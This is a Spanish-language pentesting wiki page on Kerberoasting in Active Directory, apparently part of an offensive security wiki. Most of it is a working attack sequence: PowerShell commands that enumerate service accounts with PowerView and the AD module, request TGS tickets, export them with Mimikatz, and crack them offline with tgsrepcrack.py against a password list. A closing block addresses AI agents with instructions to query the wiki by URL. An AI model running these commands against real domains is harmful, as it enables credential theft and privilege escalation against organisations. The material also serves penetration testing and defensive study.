# PE - Kerberoast

* Cracking offline de contraseñas de cuentas de servicio.&#x20;

* El ticket de sesión de Kerberos (TGS) tiene una parte de servidor que está cifrada con el hash de la contraseña de la cuenta de servicio. Esto hace posible solicitar un ticket y hacer un ataque de contraseña sin conexión.&#x20;

* Las cuentas de servicio son muchas veces ignoradas (las contraseñas rara vez se cambian) y tienen acceso privilegiado.&#x20;

* Los hashes de las contraseñas de las cuentas de servicio pueden ser utilizados para crear tickets Silver.&#x20;

* Encuentre las cuentas de usuario utilizadas como cuentas de servicio:&#x20;

* PowerView

```powershell
Get-NetUser –SPN
```

* Con el módulo de ActiveDirectory&#x20;

{% code overflow="wrap" %}

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

{% endcode %}

* Petición a TGS

```powershell
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
```

* Request-SPNTicket de PowerView puede ser usado también para crackear con John o Hashcat.&#x20;
* Comprobar si se ha concedido el TGS

```powershell
klist
```

* Exportar todos los tickets usando Mimikatz

```powershell
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

* Crackear la contraseña de Service account&#x20;

```powershell
python.exe .\\tgsrepcrack.py .\\10k-worst-pass.txt .\\user@domain.local DOMAIN.LOCAL.kirbi
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/internas/ad/pe_kerberoast.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
